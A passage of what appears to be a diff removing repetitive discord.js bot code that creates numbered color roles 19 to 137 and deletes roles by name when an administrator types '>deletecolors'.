- message.guild.createRole({
- name: "19",
- color: "#7B68EE",
- permissions: []
- })
- message.guild.createRole({
- name: "20",
- color: "#6A5ACD",
- permissions: []
- })
- message.guild.createRole({
- name: "21",
- color: "#483D8B",
- permissions: []
- })
- message.guild.createRole({
- name: "22",
- color: "#663399",
- permissions: []
- })
- message.guild.createRole({
- name: "23",
- color: "#4B0082",
- permissions: []
- })
- message.guild.createRole({
- name: "24",
- color: "#FFA07A",
- permissions: []
- })
- message.guild.createRole({
- name: "25",
- color: "#FA8072",
- permissions: []
- })
- message.guild.createRole({
- name: "26",
- color: "#E9967A",
- permissions: []
- })
- message.guild.createRole({
- name: "27",
- color: "#F08080",
- permissions: []
- })
- message.guild.createRole({
- name: "28",
- color: "#CD5C5C",
- permissions: []
- })
- message.guild.createRole({
- name: "29",
- color: "#DC143C",
- permissions: []
- })
- message.guild.createRole({
- name: "30",
- color: " #FF0000",
- permissions: []
- })
- message.guild.createRole({
- name: "31",
- color: "#B22222",
- permissions: []
- })
- message.guild.createRole({
- name: "32",
- color: "#8B0000",
- permissions: []
- })
- message.guild.createRole({
- name: "33",
- color: "#FFA500",
- permissions: []
- })
- message.guild.createRole({
- name: "34",
- color: "#FF8C00",
- permissions: []
- })
- message.guild.createRole({
- name: "35",
- color: "#FF7F50",
- permissions: []
- })
- message.guild.createRole({
- name: "36",
- color: "#FF6347",
- permissions: []
- })
- message.guild.createRole({
- name: "37",
- color: "#FF4500",
- permissions: []
- })
- message.guild.createRole({
- name: "38",
- color: "#FFD700",
- permissions: []
- })
- message.guild.createRole({
- name: "39",
- color: "#FFFFE0",
- permissions: []
- })
- message.guild.createRole({
- name: "40",
- color: "#FFFACD",
- permissions: []
- })
- message.guild.createRole({
- name: "41",
- color: "#FAFAD2",
- permissions: []
- })
- message.guild.createRole({
- name: "42",
- color: " #FFEFD5",
- permissions: []
- })
- message.guild.createRole({
- name: "43",
- color: "#FFE4B5",
- permissions: []
- })
- message.guild.createRole({
- name: "44",
- color: "#FFDAB9",
- permissions: []
- })
- message.guild.createRole({
- name: "45",
- color: "#EEE8AA",
- permissions: []
- })
- message.guild.createRole({
- name: "46",
- color: "#F0E68C",
- permissions: []
- })
- message.guild.createRole({
- name: "47",
- color: "#BDB76B",
- permissions: []
- })
- message.guild.createRole({
- name: "48",
- color: "#ADFF2F",
- permissions: []
- })
- message.guild.createRole({
- name: "49",
- color: "#7FFF00",
- permissions: []
- })
- message.guild.createRole({
- name: "50",
- color: "#7CFC00",
- permissions: []
- })
- message.guild.createRole({
- name: "51",
- color: "#00FF00",
- permissions: []
- })
- message.guild.createRole({
- name: "52",
- color: "#32CD32",
- permissions: []
- })
- message.guild.createRole({
- name: "53",
- color: "#98FB98",
- permissions: []
- })
- message.guild.createRole({
- name: "54",
- color: "#90EE90",
- permissions: []
- })
- message.guild.createRole({
- name: "55",
- color: "#00FA9A",
- permissions: []
- })
- message.guild.createRole({
- name: "56",
- color: "#00FF7F",
- permissions: []
- })
- message.guild.createRole({
- name: "57",
- color: "#3CB371",
- permissions: []
- })
- message.guild.createRole({
- name: "58",
- color: "#2E8B57",
- permissions: []
- })
- message.guild.createRole({
- name: "59",
- color: "#2E8B57",
- permissions: []
- })
- message.guild.createRole({
- name: "60",
- color: "#008000",
- permissions: []
- })
- message.guild.createRole({
- name: "61",
- color: "#006400",
- permissions: []
- })
- message.guild.createRole({
- name: "62",
- color: "#9ACD32",
- permissions: []
- })
- message.guild.createRole({
- name: "63",
- color: "#6B8E23",
- permissions: []
- })
- message.guild.createRole({
- name: "64",
- color: "#556B2F",
- permissions: []
- })
- message.guild.createRole({
- name: "65",
- color: "#66CDAA",
- permissions: []
- })
- message.guild.createRole({
- name: "66",
- color: "#8FBC8F",
- permissions: []
- })
- message.guild.createRole({
- name: "67",
- color: "#20B2AA",
- permissions: []
- })
- message.guild.createRole({
- name: "68",
- color: "#008B8B",
- permissions: []
- })
- message.guild.createRole({
- name: "69",
- color: "#008080",
- permissions: []
- })
- message.guild.createRole({
- name: "70",
- color: "#00FFFF",
- permissions: []
- })
- message.guild.createRole({
- name: "71",
- color: "#E0FFFF",
- permissions: []
- })
- message.guild.createRole({
- name: "72",
- color: "#AFEEEE",
- permissions: []
- })
- message.guild.createRole({
- name: "73",
- color: "#7FFFD4",
- permissions: []
- })
- message.guild.createRole({
- name: "74",
- color: "#40E0D0",
- permissions: []
- })
- message.guild.createRole({
- name: "75",
- color: "#48D1CC",
- permissions: []
- })
- message.guild.createRole({
- name: "76",
- color: "#00CED1",
- permissions: []
- })
- message.guild.createRole({
- name: "77",
- color: "#5F9EA0",
- permissions: []
- })
- message.guild.createRole({
- name: "78",
- color: "#4682B4",
- permissions: []
- })
- message.guild.createRole({
- name: "79",
- color: "#B0C4DE",
- permissions: []
- })
- message.guild.createRole({
- name: "80",
- color: "#ADD8E6",
- permissions: []
- })
- message.guild.createRole({
- name: "81",
- color: "#B0E0E6",
- permissions: []
- })
- message.guild.createRole({
- name: "82",
- color: "#87CEFA",
- permissions: []
- })
- message.guild.createRole({
- name: "83",
- color: "#87CEEB",
- permissions: []
- })
- message.guild.createRole({
- name: "84",
- color: "#6495ED",
- permissions: []
- })
- message.guild.createRole({
- name: "85",
- color: "#00BFFF",
- permissions: []
- })
- message.guild.createRole({
- name: "86",
- color: "#1E90FF",
- permissions: []
- })
- message.guild.createRole({
- name: "87",
- color: "#4169E1",
- permissions: []
- })
- message.guild.createRole({
- name: "88",
- color: "#0000FF",
- permissions: []
- })
- message.guild.createRole({
- name: "89",
- color: "#0000CD",
- permissions: []
- })
- message.guild.createRole({
- name: "90",
- color: "#00008B",
- permissions: []
- })
- message.guild.createRole({
- name: "91",
- color: "#000080",
- permissions: []
- })
- message.guild.createRole({
- name: "92",
- color: "#191970",
- permissions: []
- })
- message.guild.createRole({
- name: "93",
- color: "#FFF8DC",
- permissions: []
- })
- message.guild.createRole({
- name: "94",
- color: "#FFEBCD",
- permissions: []
- })
- message.guild.createRole({
- name: "95",
- color: "#FFE4C4",
- permissions: []
- })
- message.guild.createRole({
- name: "96",
- color: "#FFDEAD",
- permissions: []
- })
- message.guild.createRole({
- name: "97",
- color: "#F5DEB3",
- permissions: []
- })
- message.guild.createRole({
- name: "98",
- color: "#DEB887",
- permissions: []
- })
- message.guild.createRole({
- name: "99",
- color: "#D2B48C",
- permissions: []
- })
- message.guild.createRole({
- name: "100",
- color: "#BC8F8F",
- permissions: []
- })
- message.guild.createRole({
- name: "101",
- color: "#F4A460",
- permissions: []
- })
- message.guild.createRole({
- name: "102",
- color: "#DAA520",
- permissions: []
- })
- message.guild.createRole({
- name: "103",
- color: "#B8860B",
- permissions: []
- })
- message.guild.createRole({
- name: "104",
- color: "#CD853F",
- permissions: []
- })
- message.guild.createRole({
- name: "105",
- color: "#D2691E",
- permissions: []
- })
- message.guild.createRole({
- name: "106",
- color: "#808000",
- permissions: []
- })
- message.guild.createRole({
- name: "107",
- color: "#8B4513",
- permissions: []
- })
- message.guild.createRole({
- name: "108",
- color: "#A0522D",
- permissions: []
- })
- message.guild.createRole({
- name: "109",
- color: "#A52A2A",
- permissions: []
- })
- message.guild.createRole({
- name: "110",
- color: "#800000",
- permissions: []
- })
- message.guild.createRole({
- name: "111",
- color: "#FFFFFF",
- permissions: []
- })
- message.guild.createRole({
- name: "112",
- color: "#FFFAFA",
- permissions: []
- })
- message.guild.createRole({
- name: "113",
- color: "#F0FFF0",
- permissions: []
- })
- message.guild.createRole({
- name: "114",
- color: "#F5FFFA",
- permissions: []
- })
- message.guild.createRole({
- name: "115",
- color: "#F0FFFF",
- permissions: []
- })
- message.guild.createRole({
- name: "116",
- color: "#F0F8FF",
- permissions: []
- })
- message.guild.createRole({
- name: "117",
- color: "#F8F8FF",
- permissions: []
- })
- message.guild.createRole({
- name: "118",
- color: "#F5F5F5",
- permissions: []
- })
- message.guild.createRole({
- name: "119",
- color: "#FFF5EE",
- permissions: []
- })
- message.guild.createRole({
- name: "120",
- color: "#F5F5DC",
- permissions: []
- })
- message.guild.createRole({
- name: "121",
- color: "#FDF5E6",
- permissions: []
- })
- message.guild.createRole({
- name: "122",
- color: "#FFFAF0",
- permissions: []
- })
- message.guild.createRole({
- name: "123",
- color: "#FFFFF0",
- permissions: []
- })
- message.guild.createRole({
- name: "124",
- color: "#FAEBD7",
- permissions: []
- })
- message.guild.createRole({
- name: "125",
- color: "#FAF0E6",
- permissions: []
- })
- message.guild.createRole({
- name: "126",
- color: "#FFF0F5",
- permissions: []
- })
- message.guild.createRole({
- name: "127",
- color: "#FFE4E1",
- permissions: []
- })
- message.guild.createRole({
- name: "128",
- color: "#DCDCDC",
- permissions: []
- })
- message.guild.createRole({
- name: "129",
- color: "#D3D3D3",
- permissions: []
- })
- message.guild.createRole({
- name: "130",
- color: "#C0C0C0",
- permissions: []
- })
- message.guild.createRole({
- name: "131",
- color: "#f7f7f7",
- permissions: []
- })
- message.guild.createRole({
- name: "132",
- color: "#b2b2b2",
- permissions: []
- })
- message.guild.createRole({
- name: "133",
- color: "#6f6c6c",
- permissions: []
- })
- message.guild.createRole({
- name: "134",
- color: "#4d4646",
- permissions: []
- })
- message.guild.createRole({
- name: "135",
- color: "#4c4c4c",
- permissions: []
- })
- message.guild.createRole({
- name: "136",
- color: "#2F4F4F",
- permissions: []
- })
- message.guild.createRole({
- name: "137",
- color: "#040000",
- permissions: []
- })
- message.channel.sendMessage({embed: new Discord.RichEmbed()
- .setColor('#502faf').setAuthor(`${message.author.username}'`, message.author.avatarURL).setDescription('``Colors Has Been Created``')});
- }
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '1');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '2');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '3');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '4');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '5');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '6');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '7');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '8');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '9');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '10');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '11');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '12');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '13');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '14');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '15');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '16');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '17');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '18');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '19');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '20');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith("+!deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '21');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '22');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '23');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '24');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '25');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '26');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '27');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '28');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '29');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '30');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '31');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '32');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '33');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '34');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '35');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '36');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '37');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '38');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '39');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '40');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '41');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '42');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '43');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '44');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '45');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '46');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '47');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '48');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '49');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '50');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '51');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '52');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '53');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '54');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '55');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '56');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '57');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '58');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '59');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '60');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '-61');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '62');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '63');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '64');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '65');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '66');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '67');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '68');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '69');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '70');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '71');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '72');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '73');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '74');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '75');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '76');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '77');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '78');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '79');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '80');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '81');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '82');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '83');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '84');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '85');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '86');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '87');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '88');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '89');
- role.delete()
- }
- });
- client.on('message', async message => {
